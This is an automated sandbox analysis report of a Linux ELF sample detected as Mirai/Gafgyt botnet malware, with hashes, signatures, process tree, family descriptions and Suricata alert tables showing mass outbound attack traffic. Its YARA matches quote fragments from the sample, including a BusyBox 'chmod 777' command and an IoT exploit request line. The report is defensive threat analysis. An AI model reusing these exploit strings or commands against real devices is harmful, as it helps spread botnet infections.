Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1533415
MD5:	16d3e4f80e72305abb84989dc8c8af30
SHA1:	1ada075adc17a1a019412a23cc03f764a9d52d9e
SHA256:	910e5a1d3d261f8062f3ef4f94cd8cdba4f37974750c0906b73d36da91c3f554
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1533415
Start date and time:	2024-10-14 17:33:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@8/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: na.elf

Runtime Messages

Command:	/tmp/na.elf
PID:	5496
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

na.elf (PID: 5496, Parent: 5414, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5498, Parent: 5496)

na.elf New Fork (PID: 5500, Parent: 5498)

na.elf New Fork (PID: 5502, Parent: 5498)

na.elf New Fork (PID: 5504, Parent: 5498)

na.elf New Fork (PID: 5507, Parent: 5498)

na.elf New Fork (PID: 5509, Parent: 5498)

na.elf New Fork (PID: 5510, Parent: 5498)

xfce4-panel New Fork (PID: 5515, Parent: 3172)

wrapper-2.0 (PID: 5515, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5516, Parent: 3172)

wrapper-2.0 (PID: 5516, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5517, Parent: 3172)

wrapper-2.0 (PID: 5517, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5518, Parent: 3172)

wrapper-2.0 (PID: 5518, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5519, Parent: 3172)

wrapper-2.0 (PID: 5519, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5520, Parent: 3172)

wrapper-2.0 (PID: 5520, Parent: 3172, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
na.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
na.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
na.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x12c4a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
na.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x130a3:$x2: /bin/busybox chmod 777 * /tmp/ 0x12dce:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x12c4a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x130a3:$x2: /bin/busybox chmod 777 * /tmp/ 0x12dce:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x12c4a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x130a3:$x2: /bin/busybox chmod 777 * /tmp/ 0x12dce:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: na.elf PID: 5496	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5496	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x78ef:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: na.elf PID: 5500	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5500	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x142d:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 9 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:34:12.393702+0200	2030092	1	Web Application Attack	192.168.2.14	48092	2.17.128.182	80	TCP
2024-10-14T17:34:21.705772+0200	2030092	1	Web Application Attack	192.168.2.14	34726	70.183.114.202	80	TCP
2024-10-14T17:34:21.844590+0200	2030092	1	Web Application Attack	192.168.2.14	47386	147.45.136.124	80	TCP
2024-10-14T17:34:25.988242+0200	2030092	1	Web Application Attack	192.168.2.14	40326	34.117.245.61	80	TCP
2024-10-14T17:34:26.238243+0200	2030092	1	Web Application Attack	192.168.2.14	55882	23.14.61.169	80	TCP
2024-10-14T17:34:30.869470+0200	2030092	1	Web Application Attack	192.168.2.14	43982	111.175.39.221	80	TCP
2024-10-14T17:34:30.952259+0200	2030092	1	Web Application Attack	192.168.2.14	39066	109.206.175.66	80	TCP
2024-10-14T17:34:33.307274+0200	2030092	1	Web Application Attack	192.168.2.14	36040	115.173.179.104	80	TCP
2024-10-14T17:34:33.307489+0200	2030092	1	Web Application Attack	192.168.2.14	46556	69.163.97.129	80	TCP
2024-10-14T17:34:33.312290+0200	2030092	1	Web Application Attack	192.168.2.14	35452	211.76.58.110	80	TCP
2024-10-14T17:34:33.360261+0200	2030092	1	Web Application Attack	192.168.2.14	40468	68.165.240.71	80	TCP
2024-10-14T17:34:33.360277+0200	2030092	1	Web Application Attack	192.168.2.14	38100	115.51.250.229	80	TCP
2024-10-14T17:34:33.423579+0200	2030092	1	Web Application Attack	192.168.2.14	34242	50.84.44.219	80	TCP
2024-10-14T17:34:33.438953+0200	2030092	1	Web Application Attack	192.168.2.14	44948	36.186.91.48	80	TCP
2024-10-14T17:34:33.439492+0200	2030092	1	Web Application Attack	192.168.2.14	37868	219.61.31.247	80	TCP
2024-10-14T17:34:33.468987+0200	2030092	1	Web Application Attack	192.168.2.14	46386	166.225.45.181	80	TCP
2024-10-14T17:34:33.566550+0200	2030092	1	Web Application Attack	192.168.2.14	59418	125.113.141.16	80	TCP
2024-10-14T17:34:33.593612+0200	2030092	1	Web Application Attack	192.168.2.14	32838	222.204.47.231	80	TCP
2024-10-14T17:34:33.595298+0200	2030092	1	Web Application Attack	192.168.2.14	50656	82.200.247.237	80	TCP
2024-10-14T17:34:33.615186+0200	2030092	1	Web Application Attack	192.168.2.14	44284	216.251.227.65	80	TCP
2024-10-14T17:34:33.646124+0200	2030092	1	Web Application Attack	192.168.2.14	35966	188.151.101.126	80	TCP
2024-10-14T17:34:33.656573+0200	2030092	1	Web Application Attack	192.168.2.14	44498	130.134.1.55	80	TCP
2024-10-14T17:34:33.656783+0200	2030092	1	Web Application Attack	192.168.2.14	36270	145.152.55.80	80	TCP
2024-10-14T17:34:34.235515+0200	2030092	1	Web Application Attack	192.168.2.14	41770	18.28.241.145	80	TCP
2024-10-14T17:34:34.250841+0200	2030092	1	Web Application Attack	192.168.2.14	54954	131.156.38.106	80	TCP
2024-10-14T17:34:34.269897+0200	2030092	1	Web Application Attack	192.168.2.14	49814	179.221.209.219	80	TCP
2024-10-14T17:34:34.270525+0200	2030092	1	Web Application Attack	192.168.2.14	54104	141.182.88.11	80	TCP
2024-10-14T17:34:34.280662+0200	2030092	1	Web Application Attack	192.168.2.14	54174	80.16.214.233	80	TCP
2024-10-14T17:34:34.280865+0200	2030092	1	Web Application Attack	192.168.2.14	50276	197.76.254.99	80	TCP
2024-10-14T17:34:34.281461+0200	2030092	1	Web Application Attack	192.168.2.14	43396	136.219.76.182	80	TCP
2024-10-14T17:34:34.284966+0200	2030092	1	Web Application Attack	192.168.2.14	45036	163.129.240.99	80	TCP
2024-10-14T17:34:34.286760+0200	2030092	1	Web Application Attack	192.168.2.14	39220	76.232.178.92	80	TCP
2024-10-14T17:34:34.329624+0200	2030092	1	Web Application Attack	192.168.2.14	46272	87.197.76.211	80	TCP
2024-10-14T17:34:34.344280+0200	2030092	1	Web Application Attack	192.168.2.14	36676	76.233.57.173	80	TCP
2024-10-14T17:34:34.441610+0200	2030092	1	Web Application Attack	192.168.2.14	50408	13.192.143.77	80	TCP
2024-10-14T17:34:34.472877+0200	2030092	1	Web Application Attack	192.168.2.14	43232	120.68.33.190	80	TCP
2024-10-14T17:34:34.500779+0200	2030092	1	Web Application Attack	192.168.2.14	35766	135.208.219.81	80	TCP
2024-10-14T17:34:34.532950+0200	2030092	1	Web Application Attack	192.168.2.14	48562	131.167.238.241	80	TCP
2024-10-14T17:34:34.546623+0200	2030092	1	Web Application Attack	192.168.2.14	56710	51.128.35.28	80	TCP
2024-10-14T17:34:34.550743+0200	2030092	1	Web Application Attack	192.168.2.14	57628	84.156.166.12	80	TCP
2024-10-14T17:34:34.640545+0200	2030092	1	Web Application Attack	192.168.2.14	41364	61.160.177.115	80	TCP
2024-10-14T17:34:34.661847+0200	2030092	1	Web Application Attack	192.168.2.14	44564	82.30.22.185	80	TCP
2024-10-14T17:34:35.546344+0200	2030092	1	Web Application Attack	192.168.2.14	37218	182.64.118.107	80	TCP
2024-10-14T17:34:35.568375+0200	2030092	1	Web Application Attack	192.168.2.14	52240	84.10.168.7	80	TCP
2024-10-14T17:34:36.313056+0200	2030092	1	Web Application Attack	192.168.2.14	47576	12.12.20.232	80	TCP
2024-10-14T17:34:36.605288+0200	2030092	1	Web Application Attack	192.168.2.14	53084	134.118.16.121	80	TCP
2024-10-14T17:34:36.605438+0200	2030092	1	Web Application Attack	192.168.2.14	47468	181.149.65.97	80	TCP
2024-10-14T17:34:36.605781+0200	2030092	1	Web Application Attack	192.168.2.14	43984	209.183.241.248	80	TCP
2024-10-14T17:34:36.605845+0200	2030092	1	Web Application Attack	192.168.2.14	49420	206.30.20.214	80	TCP
2024-10-14T17:34:36.605958+0200	2030092	1	Web Application Attack	192.168.2.14	40442	108.81.130.89	80	TCP
2024-10-14T17:34:36.606217+0200	2030092	1	Web Application Attack	192.168.2.14	34288	8.160.109.226	80	TCP
2024-10-14T17:34:36.625701+0200	2030092	1	Web Application Attack	192.168.2.14	41606	183.57.37.96	80	TCP
2024-10-14T17:34:36.687631+0200	2030092	1	Web Application Attack	192.168.2.14	59424	77.3.150.192	80	TCP
2024-10-14T17:34:38.578633+0200	2030092	1	Web Application Attack	192.168.2.14	41200	223.63.237.131	80	TCP
2024-10-14T17:34:38.580085+0200	2030092	1	Web Application Attack	192.168.2.14	36290	137.46.73.168	80	TCP
2024-10-14T17:34:38.609707+0200	2030092	1	Web Application Attack	192.168.2.14	52198	154.189.149.132	80	TCP
2024-10-14T17:34:38.614130+0200	2030092	1	Web Application Attack	192.168.2.14	53756	36.229.215.172	80	TCP
2024-10-14T17:34:38.630562+0200	2030092	1	Web Application Attack	192.168.2.14	44646	155.83.97.123	80	TCP
2024-10-14T17:34:39.609420+0200	2030092	1	Web Application Attack	192.168.2.14	36206	221.110.37.119	80	TCP
2024-10-14T17:34:39.611083+0200	2030092	1	Web Application Attack	192.168.2.14	45762	79.42.6.55	80	TCP
2024-10-14T17:34:39.615419+0200	2030092	1	Web Application Attack	192.168.2.14	45246	130.143.3.66	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:34:12.393702+0200	2029034	1	Web Application Attack	192.168.2.14	48092	2.17.128.182	80	TCP
2024-10-14T17:34:20.077845+0200	2029034	1	Web Application Attack	192.168.2.14	33600	42.77.59.80	443	TCP
2024-10-14T17:34:20.077978+0200	2029034	1	Web Application Attack	192.168.2.14	58474	94.28.197.137	443	TCP
2024-10-14T17:34:20.078044+0200	2029034	1	Web Application Attack	192.168.2.14	39732	79.237.166.254	443	TCP
2024-10-14T17:34:20.078056+0200	2029034	1	Web Application Attack	192.168.2.14	37532	2.233.4.30	443	TCP
2024-10-14T17:34:20.078104+0200	2029034	1	Web Application Attack	192.168.2.14	51886	123.159.227.29	443	TCP
2024-10-14T17:34:20.078108+0200	2029034	1	Web Application Attack	192.168.2.14	46916	109.90.105.70	443	TCP
2024-10-14T17:34:20.078172+0200	2029034	1	Web Application Attack	192.168.2.14	37656	42.167.138.188	443	TCP
2024-10-14T17:34:20.078203+0200	2029034	1	Web Application Attack	192.168.2.14	34940	212.169.97.36	443	TCP
2024-10-14T17:34:20.078240+0200	2029034	1	Web Application Attack	192.168.2.14	38298	117.107.119.52	443	TCP
2024-10-14T17:34:20.078271+0200	2029034	1	Web Application Attack	192.168.2.14	57796	118.166.161.110	443	TCP
2024-10-14T17:34:20.078286+0200	2029034	1	Web Application Attack	192.168.2.14	48306	5.3.212.146	443	TCP
2024-10-14T17:34:20.078312+0200	2029034	1	Web Application Attack	192.168.2.14	47252	118.233.168.151	443	TCP
2024-10-14T17:34:20.078336+0200	2029034	1	Web Application Attack	192.168.2.14	41046	5.93.69.95	443	TCP
2024-10-14T17:34:20.078377+0200	2029034	1	Web Application Attack	192.168.2.14	59890	212.94.246.156	443	TCP
2024-10-14T17:34:20.910873+0200	2029034	1	Web Application Attack	192.168.2.14	40520	178.17.14.142	443	TCP
2024-10-14T17:34:20.911003+0200	2029034	1	Web Application Attack	192.168.2.14	59202	202.169.42.22	443	TCP
2024-10-14T17:34:20.911018+0200	2029034	1	Web Application Attack	192.168.2.14	36842	5.203.70.168	443	TCP
2024-10-14T17:34:20.911047+0200	2029034	1	Web Application Attack	192.168.2.14	36016	94.45.236.192	443	TCP
2024-10-14T17:34:20.911062+0200	2029034	1	Web Application Attack	192.168.2.14	44036	210.60.244.65	443	TCP
2024-10-14T17:34:20.911129+0200	2029034	1	Web Application Attack	192.168.2.14	43560	109.229.207.75	443	TCP
2024-10-14T17:34:20.911132+0200	2029034	1	Web Application Attack	192.168.2.14	58424	94.33.218.24	443	TCP
2024-10-14T17:34:20.911142+0200	2029034	1	Web Application Attack	192.168.2.14	47742	37.139.205.59	443	TCP
2024-10-14T17:34:20.911163+0200	2029034	1	Web Application Attack	192.168.2.14	33966	123.157.78.61	443	TCP
2024-10-14T17:34:20.911183+0200	2029034	1	Web Application Attack	192.168.2.14	32952	178.11.113.224	443	TCP
2024-10-14T17:34:20.911203+0200	2029034	1	Web Application Attack	192.168.2.14	54316	148.162.67.255	443	TCP
2024-10-14T17:34:20.911232+0200	2029034	1	Web Application Attack	192.168.2.14	52956	109.65.134.143	443	TCP
2024-10-14T17:34:20.911274+0200	2029034	1	Web Application Attack	192.168.2.14	36674	117.195.107.150	443	TCP
2024-10-14T17:34:20.939701+0200	2029034	1	Web Application Attack	192.168.2.14	49824	178.76.27.129	443	TCP
2024-10-14T17:34:20.939762+0200	2029034	1	Web Application Attack	192.168.2.14	50478	2.165.216.107	443	TCP
2024-10-14T17:34:20.939773+0200	2029034	1	Web Application Attack	192.168.2.14	49970	148.224.116.120	443	TCP
2024-10-14T17:34:20.971625+0200	2029034	1	Web Application Attack	192.168.2.14	58760	148.245.222.232	443	TCP
2024-10-14T17:34:20.971721+0200	2029034	1	Web Application Attack	192.168.2.14	57400	210.222.150.233	443	TCP
2024-10-14T17:34:20.971866+0200	2029034	1	Web Application Attack	192.168.2.14	60210	178.50.176.12	443	TCP
2024-10-14T17:34:21.003728+0200	2029034	1	Web Application Attack	192.168.2.14	37944	42.164.29.2	443	TCP
2024-10-14T17:34:21.003784+0200	2029034	1	Web Application Attack	192.168.2.14	55190	178.241.201.180	443	TCP
2024-10-14T17:34:21.003847+0200	2029034	1	Web Application Attack	192.168.2.14	59494	202.19.144.42	443	TCP
2024-10-14T17:34:21.035706+0200	2029034	1	Web Application Attack	192.168.2.14	54066	109.34.44.99	443	TCP
2024-10-14T17:34:21.035754+0200	2029034	1	Web Application Attack	192.168.2.14	54720	212.63.24.167	443	TCP
2024-10-14T17:34:21.035799+0200	2029034	1	Web Application Attack	192.168.2.14	32816	109.17.214.13	443	TCP
2024-10-14T17:34:21.067658+0200	2029034	1	Web Application Attack	192.168.2.14	36720	178.120.144.86	443	TCP
2024-10-14T17:34:21.067769+0200	2029034	1	Web Application Attack	192.168.2.14	55638	94.128.98.24	443	TCP
2024-10-14T17:34:21.067894+0200	2029034	1	Web Application Attack	192.168.2.14	36560	109.158.105.177	443	TCP
2024-10-14T17:34:21.099617+0200	2029034	1	Web Application Attack	192.168.2.14	35434	202.126.57.169	443	TCP
2024-10-14T17:34:21.099729+0200	2029034	1	Web Application Attack	192.168.2.14	59186	117.186.109.65	443	TCP
2024-10-14T17:34:21.099822+0200	2029034	1	Web Application Attack	192.168.2.14	57186	117.248.242.139	443	TCP
2024-10-14T17:34:21.705772+0200	2029034	1	Web Application Attack	192.168.2.14	34726	70.183.114.202	80	TCP
2024-10-14T17:34:21.844590+0200	2029034	1	Web Application Attack	192.168.2.14	47386	147.45.136.124	80	TCP
2024-10-14T17:34:22.959408+0200	2029034	1	Web Application Attack	192.168.2.14	36044	79.95.10.90	443	TCP
2024-10-14T17:34:22.959482+0200	2029034	1	Web Application Attack	192.168.2.14	33810	94.245.151.61	443	TCP
2024-10-14T17:34:22.959550+0200	2029034	1	Web Application Attack	192.168.2.14	56092	2.77.19.139	443	TCP
2024-10-14T17:34:22.959583+0200	2029034	1	Web Application Attack	192.168.2.14	57182	5.150.205.102	443	TCP
2024-10-14T17:34:22.959628+0200	2029034	1	Web Application Attack	192.168.2.14	36112	42.173.190.219	443	TCP
2024-10-14T17:34:22.959645+0200	2029034	1	Web Application Attack	192.168.2.14	44864	79.40.127.223	443	TCP
2024-10-14T17:34:22.959674+0200	2029034	1	Web Application Attack	192.168.2.14	36982	79.43.52.125	443	TCP
2024-10-14T17:34:22.959702+0200	2029034	1	Web Application Attack	192.168.2.14	33480	79.114.98.80	443	TCP
2024-10-14T17:34:22.959742+0200	2029034	1	Web Application Attack	192.168.2.14	35746	5.24.126.151	443	TCP
2024-10-14T17:34:22.959764+0200	2029034	1	Web Application Attack	192.168.2.14	38750	5.253.165.108	443	TCP
2024-10-14T17:34:22.959787+0200	2029034	1	Web Application Attack	192.168.2.14	46798	202.212.238.113	443	TCP
2024-10-14T17:34:22.959896+0200	2029034	1	Web Application Attack	192.168.2.14	60566	148.188.49.117	443	TCP
2024-10-14T17:34:22.959938+0200	2029034	1	Web Application Attack	192.168.2.14	37702	109.197.14.136	443	TCP
2024-10-14T17:34:22.959967+0200	2029034	1	Web Application Attack	192.168.2.14	37972	123.137.232.236	443	TCP
2024-10-14T17:34:22.959987+0200	2029034	1	Web Application Attack	192.168.2.14	42262	118.106.83.116	443	TCP
2024-10-14T17:34:22.960018+0200	2029034	1	Web Application Attack	192.168.2.14	36242	148.197.2.135	443	TCP
2024-10-14T17:34:22.960041+0200	2029034	1	Web Application Attack	192.168.2.14	46458	118.93.94.120	443	TCP
2024-10-14T17:34:22.960079+0200	2029034	1	Web Application Attack	192.168.2.14	58130	123.113.22.102	443	TCP
2024-10-14T17:34:22.960131+0200	2029034	1	Web Application Attack	192.168.2.14	48426	37.6.43.52	443	TCP
2024-10-14T17:34:23.019433+0200	2029034	1	Web Application Attack	192.168.2.14	56636	148.79.44.9	443	TCP
2024-10-14T17:34:23.019472+0200	2029034	1	Web Application Attack	192.168.2.14	38206	148.143.19.226	443	TCP
2024-10-14T17:34:23.019507+0200	2029034	1	Web Application Attack	192.168.2.14	46940	79.212.36.201	443	TCP
2024-10-14T17:34:23.051404+0200	2029034	1	Web Application Attack	192.168.2.14	57496	37.205.155.28	443	TCP
2024-10-14T17:34:23.051432+0200	2029034	1	Web Application Attack	192.168.2.14	35860	79.220.179.145	443	TCP
2024-10-14T17:34:23.051478+0200	2029034	1	Web Application Attack	192.168.2.14	43838	123.80.238.164	443	TCP
2024-10-14T17:34:23.083522+0200	2029034	1	Web Application Attack	192.168.2.14	60734	79.164.29.126	443	TCP
2024-10-14T17:34:23.083583+0200	2029034	1	Web Application Attack	192.168.2.14	41012	79.117.52.82	443	TCP
2024-10-14T17:34:23.083616+0200	2029034	1	Web Application Attack	192.168.2.14	57424	109.191.144.0	443	TCP
2024-10-14T17:34:23.119496+0200	2029034	1	Web Application Attack	192.168.2.14	52860	79.127.131.213	443	TCP
2024-10-14T17:34:23.119536+0200	2029034	1	Web Application Attack	192.168.2.14	44988	117.122.114.83	443	TCP
2024-10-14T17:34:23.119563+0200	2029034	1	Web Application Attack	192.168.2.14	60124	79.14.25.171	443	TCP
2024-10-14T17:34:24.143775+0200	2029034	1	Web Application Attack	192.168.2.14	52156	37.63.30.25	443	TCP
2024-10-14T17:34:25.988242+0200	2029034	1	Web Application Attack	192.168.2.14	40326	34.117.245.61	80	TCP
2024-10-14T17:34:26.238243+0200	2029034	1	Web Application Attack	192.168.2.14	55882	23.14.61.169	80	TCP
2024-10-14T17:34:30.869470+0200	2029034	1	Web Application Attack	192.168.2.14	43982	111.175.39.221	80	TCP
2024-10-14T17:34:30.952259+0200	2029034	1	Web Application Attack	192.168.2.14	39066	109.206.175.66	80	TCP
2024-10-14T17:34:33.307274+0200	2029034	1	Web Application Attack	192.168.2.14	36040	115.173.179.104	80	TCP
2024-10-14T17:34:33.307489+0200	2029034	1	Web Application Attack	192.168.2.14	46556	69.163.97.129	80	TCP
2024-10-14T17:34:33.312290+0200	2029034	1	Web Application Attack	192.168.2.14	35452	211.76.58.110	80	TCP
2024-10-14T17:34:33.360261+0200	2029034	1	Web Application Attack	192.168.2.14	40468	68.165.240.71	80	TCP
2024-10-14T17:34:33.360277+0200	2029034	1	Web Application Attack	192.168.2.14	38100	115.51.250.229	80	TCP
2024-10-14T17:34:33.423579+0200	2029034	1	Web Application Attack	192.168.2.14	34242	50.84.44.219	80	TCP
2024-10-14T17:34:33.438953+0200	2029034	1	Web Application Attack	192.168.2.14	44948	36.186.91.48	80	TCP
2024-10-14T17:34:33.439492+0200	2029034	1	Web Application Attack	192.168.2.14	37868	219.61.31.247	80	TCP
2024-10-14T17:34:33.468987+0200	2029034	1	Web Application Attack	192.168.2.14	46386	166.225.45.181	80	TCP
2024-10-14T17:34:33.566550+0200	2029034	1	Web Application Attack	192.168.2.14	59418	125.113.141.16	80	TCP
2024-10-14T17:34:33.593612+0200	2029034	1	Web Application Attack	192.168.2.14	32838	222.204.47.231	80	TCP
2024-10-14T17:34:33.595298+0200	2029034	1	Web Application Attack	192.168.2.14	50656	82.200.247.237	80	TCP
2024-10-14T17:34:33.615186+0200	2029034	1	Web Application Attack	192.168.2.14	44284	216.251.227.65	80	TCP
2024-10-14T17:34:33.646124+0200	2029034	1	Web Application Attack	192.168.2.14	35966	188.151.101.126	80	TCP
2024-10-14T17:34:33.656573+0200	2029034	1	Web Application Attack	192.168.2.14	44498	130.134.1.55	80	TCP
2024-10-14T17:34:33.656783+0200	2029034	1	Web Application Attack	192.168.2.14	36270	145.152.55.80	80	TCP
2024-10-14T17:34:34.235515+0200	2029034	1	Web Application Attack	192.168.2.14	41770	18.28.241.145	80	TCP
2024-10-14T17:34:34.250841+0200	2029034	1	Web Application Attack	192.168.2.14	54954	131.156.38.106	80	TCP
2024-10-14T17:34:34.269897+0200	2029034	1	Web Application Attack	192.168.2.14	49814	179.221.209.219	80	TCP
2024-10-14T17:34:34.270525+0200	2029034	1	Web Application Attack	192.168.2.14	54104	141.182.88.11	80	TCP
2024-10-14T17:34:34.280662+0200	2029034	1	Web Application Attack	192.168.2.14	54174	80.16.214.233	80	TCP
2024-10-14T17:34:34.280865+0200	2029034	1	Web Application Attack	192.168.2.14	50276	197.76.254.99	80	TCP
2024-10-14T17:34:34.281461+0200	2029034	1	Web Application Attack	192.168.2.14	43396	136.219.76.182	80	TCP
2024-10-14T17:34:34.284966+0200	2029034	1	Web Application Attack	192.168.2.14	45036	163.129.240.99	80	TCP
2024-10-14T17:34:34.286760+0200	2029034	1	Web Application Attack	192.168.2.14	39220	76.232.178.92	80	TCP
